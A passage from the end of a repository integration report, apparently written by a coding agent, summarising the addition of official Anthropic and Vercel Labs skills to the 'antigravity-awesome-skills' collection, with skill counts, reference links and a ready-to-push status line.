- [Anthropic Skills Documentation](https://support.claude.com/en/articles/12512176-what-are-skills)
|
||||
- [Agent Skills Specification](https://agentskills.io/)
|
||||
- [Creating Custom Skills](https://support.claude.com/en/articles/12512198-creating-custom-skills)
|
||||
|
||||
---
|
||||
|
||||
## 🎉 Conclusion
|
||||
|
||||
The integration of official Anthropic and Vercel Labs skills represents a significant enhancement to the `antigravity-awesome-skills` repository. By combining community-contributed skills with official, production-grade implementations, the collection now offers:
|
||||
|
||||
- **62 total skills** (up from 58)
|
||||
- **2 official sources** (Anthropic + Vercel Labs)
|
||||
- **Dual-versioning flexibility** (local vs. repository)
|
||||
- **100% validation success rate**
|
||||
|
||||
The repository is now positioned as the most comprehensive, authoritative collection of Claude Code skills available, blending community innovation with official best practices.
|
||||
|
||||
---
|
||||
|
||||
**Integration completed by**: Antigravity Agent (Executor Mode)
|
||||
**Date**: 2026-01-15
|
||||
**Status**: ✅ **Ready for GitHub Push**
|
||||
Reference in New Issue
Block a user